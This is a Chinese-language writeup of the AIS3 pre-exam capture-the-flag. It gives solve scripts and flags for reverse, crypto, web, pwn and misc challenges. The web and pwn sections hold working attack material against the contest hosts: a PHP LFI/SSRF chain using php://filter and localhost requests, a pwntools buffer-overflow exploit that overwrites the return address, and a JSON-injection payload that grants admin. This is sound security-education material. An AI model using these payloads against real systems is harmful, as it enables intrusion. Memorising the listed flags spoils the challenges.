---
# System prepended metadata

title: AIS3 Pre-exam Writeup
tags: [CTF]

---

# AIS3 Pre-exam Writeup

> 此 writeup 只有概述解題過程而已
> Hackmd link: https://hackmd.io/@CSY54/AIS3_Pre-exam_Writeup

[TOC]

---
<!-- <br><br><br><br><br><br><br><br><br><br><br> -->

## Reverse

### Trivial

把程式 strings 出來即可得到 Flag 了

Flag: `AIS3{This_is_a_reallllllllllly_boariiing_challenge}`

### TsaiBro

觀察 IDA Decompile 出來的結果可以發現：
輸出格式為 `發財%.*s發財%.*s`
其中前後兩個 `*` 的參數分別為當前字元在 `"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_"` 中之 index `/ 8 + 1` 及 `% 8 + 1` 的值

```python=
data = open("flag.txt", "r").read().split("\n")[1].replace("發財", " ").split()

a = [len(i) for i in data]
a = [(a[i] - 1) * 8 + (a[i + 1] - 1) for i in range(0, len(a), 2)]

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_"

print(''.join(charset[id] for id in a))
```

Flag `AIS3{y0u_4re_a_b1g_f4n_0f_tsaibro_n0w}`

### HolyGrenade

用 uncompyle6 將題目所給之 .pyc 檔轉換成 .py 檔
觀察 code 可以得知 output 為 flag 四個字四個字經過函式 `OO0o` 加密後的結果
故只要四個字四個字暴力嘗試 flag 即可
(因確定 flag 之前四個字元為 `AIS3` 所以跳過)

```python=
import string
from hashlib import md5

result = open("output.txt", "r").read().strip().split("\n")[1:]
charset = string.digits + string.ascii_letters + "{}_"

def OO0o(arg):
    arg = bytearray(arg, 'ascii')
    for i in range(0, len(arg), 4):

        id0 = arg[i]
        id1 = arg[(i + 1)]
        id2 = arg[(i + 2)]
        id3 = arg[(i + 3)]

        arg[i] = id2
        arg[i + 1] = id0
        arg[i + 2] = id3
        arg[i + 3] = id1

    return arg.decode('ascii')

flag = ""
for res in result:
    found = False
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    sub = i + j + k + l
                    if res == OO0o(md5(bytes(sub)).hexdigest()):
                        flag += sub
                        found = True
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    print(flag)

print("AIS3" + flag)
```

Flag `AIS3{7here_15_the_k1ll3r_ra661t}`

---
<!-- <br><br><br><br> -->

## Crypto

### TCash

只要將 `cand` 中的所有字元暴力嘗試一輪即可

```python=
from hashlib import md5, sha256

cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}'

_md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
_sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]

flag = ""

for id in range(len(_md5s)):
  for ch in cand:
    if int(md5(ch.encode()).hexdigest(),16)%64 == _md5s[id] and int(sha256(ch.encode()).hexdigest(),16)%64 == _sha256s[id]:
      flag += ch
      break

print(flag)
```

Flag `AIS3{0N_May_16th @Sead00g said Heeeee ReMEMBerEd tH4t heee UseD thE SAME set 0f On1iNe to01s to S01Ve Rsa AeS RCA DE5 at T-cat-cup, AnD 7he kEys aRE AlWAys TCat2019Key}`

### RSA101

觀察可以發現：對於大於等於 $\varphi$ 的數在模 $\varphi$ 後再模 64 的結果不會等於 $\varphi$ 直接模 64，故可以二分搜 $\varphi$ 的值
得到 $\varphi$ 後，可以透過下面的性質求出 $p, q$

性質：
From the definition of $\varphi$
$$
\begin{align*}
\varphi &= (p - 1) \times (q - 1) \\
        &= pq - p - q + 1 \\
        &= (N + 1) - (p + q) \\
\end{align*}
$$
Then,
$$
\begin{align*}
&\Rightarrow p + q = (N + 1) - \varphi \\
&\Rightarrow q = N + 1 - \varphi - p
\end{align*}
$$
Substitute $q$ into $N$
$$
\begin{align*}
N &= pq \\
  &= p(N + 1 - \varphi - p) \\
  &= -p^2 + p(N + 1 - \varphi)
\end{align*}
$$
We can get
$$
p^2 - p(N + 1 - \varphi) + N = 0
$$
By solving the quadratic equation above using formula with
$$
\begin{align*}
a &= 1 \\
b &= -(N + 1 - \varphi) \\
c &= n
\end{align*}
$$
We can get the value of $p$ and $q$, thus decrypt the RSA

```python=
from pwn import *
import binascii, gmpy2

HOST = "pre-exam-chals.ais3.org"
PORT = 10201

def sqrt(n):
    l, r = 0, 10 ** len(str(n))
    while l < r:
        m = (l + r) // 2
        if m ** 2 > n:
            r = m
        else:
            l = m + 1
    return l - 1

r = remote(HOST, PORT)

e_n = r.recvline().split("(")[2][:-2]
e, n = map(int, e_n.split(","))
enc = int(r.recvline().split(":")[1].strip())

r.recvlines(2)

L, R = 0, 10**len(str(n))
while L < R:
    M = (L + R) // 2
    r.recvline()
    r.sendline(str(M))
    res = int(r.recvline().split("= ")[1])
    if M % 64 != res:
        R = M
    else:
        L = M + 1

phi = L

D = (n + 1 - phi) ** 2 - 4 * n
sqrt_D = sqrt(D)
while sqrt_D ** 2 != D:
    sqrt_D -= 1
p = ((n + 1 - phi) + sqrt_D) / 2
q = ((n + 1 - phi) - sqrt_D) / 2
d = gmpy2.invert(e, phi)

print(binascii.unhexlify('%x' % pow(enc, d, n)))
```

---
<!-- <br><br><br><br> -->

## Web

### SimpleWindow

訪問 `/flag` 頁面即可

Flag `AIS3{D0_y0u_kn0w_Serv1ce_W0rker?}`

### Hidden

觀察網頁的 .js 檔可以發現大約在最後有一段意義不明的 code
抓下來修改一下在本地執行即可得到 Flag

```javascript=
var r = function(a, b, c, d, e) {
    return function() {
        var r = Array.prototype.slice.call(arguments),
            t = r.shift();
        return r.reverse().map(function(r, e) {
            return String.fromCharCode(r - t - 25 - e)
        }).join('')
    }(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + a.toString(36).toLowerCase() + b.toString(36).toLowerCase().split('').map(function(r) {
        return String.fromCharCode(r.charCodeAt() + -13)
    }).join('') + c.toString(36).toLowerCase() + d.toString(36).toLowerCase().split('').map(function(r) {
        return String.fromCharCode(r.charCodeAt() + -13)
    }).join('') + e.toString(36).toLowerCase() + function() {
        var r = Array.prototype.slice.call(arguments),
            t = r.shift();
        return r.reverse().map(function(r, e) {
            return String.fromCharCode(r - t - 44 - e)
        }).join('')
    }(18, 190, 127, 170, 113)
};

console.log(r(4, 21, 1234274547001, 21, 579));
```

註：因為數字加上 `.toString()` 在本地會噴錯誤所以改為傳參數進函式

Flag `AIS3{4r3_y0u_4_fr0n73nd_g33k?}`

### d1v1n6

可以很明顯地發現這題是 LFI ，所以就直接來吧

Req: (有點忘了是不是這個)

http://pre-exam-web.ais3.org:10103/?path=php://filter/read=convert.base64-encode/resource=index.php


Res:
```php=
<?php

    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {

        // show path of the flag
        die($_ENV['FLAG_HINT']);
    }


    if ($path = @$_GET['path']) {
        $path = trim($path);

        if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
            // resolve ip address
            $ip = gethostbyname($g[1]);

            // no local request
            if ($ip == '127.0.0.1' || $ip == '0.0.0.0')
                die('Do not request to localhost!');
        }

        // no flag in path
        $path = preg_replace('/flag/i', '', $path);

        if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) {

            // no flag in content
            if (preg_match('/flag/i', $content)) {
                die('De
```

發現如果從本地訪問的話就會噴 Flag 的提示

Req:

http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=http://localhost/index.php

Res:
```text
FLAG_14d65189669f05d206764c9de441474d.txt
```

Req:

http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=14d65189669f05d206764c9de441474d.txt


Res:
```text
^`.                     o
^_              \  \                  o  o
\ \             {   \                 o
{  \           /     `~~~--__
{   \___----~~'              `~~-_     ______          _____
\                         /// a  `~._(_||___)________/___
/ /~~~~-, ,__.    ,      ///  __,,,,)      o  ______/    \
\/      \/    `~~~;   ,---~~-_`~= \ \------o-'            \
  /   /            / /
 '._.'           _/_/
                 ';|\
Your flag:
AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}

Hints for d1v1n6 d33p3r:
- Find the other web server in the internal network.
- Scanning is forbidden and not necessary.
- Flag is stored as an environment variable.
```

Flag `AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}`

---
<!-- <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> -->

## Pwn

### Welcome BOF

這題很明顯是 BOF
不過我原先對 BOF 的了解是蓋掉 ebp / rbp ，這樣在 return 後會跳到 ebp / rbp 的 address 上
如此就可以跳到我要的 function 上了
後來才知道要蓋掉的應該是 return address
不然這題告知 Ubuntu 版本的目的就沒用了

原先的 exp :
```python=
from pwn import *

HOST = "pre-exam-pwn.ais3.org"
PORT = 10000

addr = 0x400687

r = remote(HOST, PORT)
print(r.recv())
r.sendline('a' * 48 + p64(addr))
r.interactive()
```

---
<!-- <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> -->

## Misc

### Are you admin?

因為題目是將變數內容直接塞入字串中再 parse 成 json
故我們可以透過類似 SQL Injection 的技巧將原字串內的文字註解掉
結果如下：

```shell
Your name:
", "is_admin": "yes"/*
Your age:
*/,"":"
AIS3{xxxxxxxxxxxx}
```

Flag `AIS3{RuBy_js0n_i5_s0_w3ird_0_o}`

### Crystal Maze

就只是走迷宮而已， DFS 可以搞定

```python=
from pwn import *

HOST = "pre-exam-chals.ais3.org"
PORT = 10202

SIZE = 16
direction = ['up', 'left', 'down', 'right']

def dfs(path):
    for d in range(4):
        # prevent from going back
        if len(path) and d == (2 + path[len(path) - 1]) % 4:
            continue

        r = remote(HOST, PORT)
        r.recvuntil(": ")

        # send known path
        for id in path:
            r.sendline(direction[id])
            r.recvuntil(": ")

        # send new path
        r.sendline(direction[d])
        res = r.recvline()
        r.close()

        if "ok" in res:
            r.close()
            dfs(path + [d])
        elif "wall" not in res:
            print(res)
            exit()

dfs([])
```

Flag `AIS3{4R3_Y0U_RUNN1NG_45_F45T_45_CRY5T4L?}`

### KcufsJ

Trivial, just a reversed jsfuck code
Reverse 一下然後丟上瀏覽器的 console 就可以了

Flag `AIS3{R33v33rs33_JSFUCKKKKKK}`

### Welcome

Trivial

### WTF

看到圖片第一個直覺是迷宮
不過找了好久找不到缺口（起點 / 終點）
後來是在有點放棄的情況下寫了 Flood Fill 亂做才發現是對的

![](https://i.imgur.com/fDZGG7K.jpg)

```python=
from PIL import Image

original_path = "./WTF/"
res_path = "./Result/"
filename = "challenge_{}.png"

white = (0xff, 0xff, 0xff)
red = (0xff, 0x00, 0x00)

dx = [  0,  -1,  0,  1]
dy = [ -1,   0,  1,  0]

for i in range(0, 51):
    img = Image.open(original_path + filename.format(i)).convert("RGB")
    pix = img.load()

    queue = []
    for st in range(2, 999):
        if pix[(2, st)] == white:
            queue.append((2, st))
            break

    while len(queue):
        x, y = queue[0]
        pix[(y, x)] = red
        del queue[0]
        for d in range(4):
            nx, ny = x + dx[d], y + dy[d]
            if pix[(ny, nx)] == white:
                queue.append((nx, ny))

    img.save(res_path + filename.format(i))
```

###### tags: `CTF`